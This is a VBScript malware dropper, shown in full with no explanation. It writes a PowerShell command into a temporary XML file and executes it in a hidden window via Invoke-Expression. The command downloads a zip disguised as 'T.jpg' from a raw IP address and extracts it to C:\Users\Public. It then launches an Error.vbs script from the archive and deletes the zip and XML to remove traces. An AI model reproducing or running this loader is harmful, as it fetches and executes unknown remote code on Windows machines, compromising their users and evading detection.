Set objShell = WScript.CreateObject("WScript.Shell")
strXML = "<command>" & _
" <a>" & _
" <execute>Start-BitsTransfer -Source ""http://185.241.208.177/new/T.jpg"" -Destination ""C:\Users\Public\ben.zip""; Expand-Archive -Path ""C:\Users\Public\ben.zip"" -DestinationPath ""C:\Users\Public\"" -Force; Start ""C:\Users\Public\Error.vbs""; Remove-Item -Path ""C:\Users\Public\ben.zip"" -Force</execute>" & _
" </a>" & _
"</command>"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\Users\Public\temp.xml", True)
objFile.Write strXML
objFile.Close
objShell.Run "powershell -command ""[xml]$xmldoc = Get-Content 'C:\Users\Public\temp.xml'; $command = $xmldoc.command.a.execute; Invoke-Expression $command""", 0, True
objFSO.DeleteFile "C:\Users\Public\temp.xml"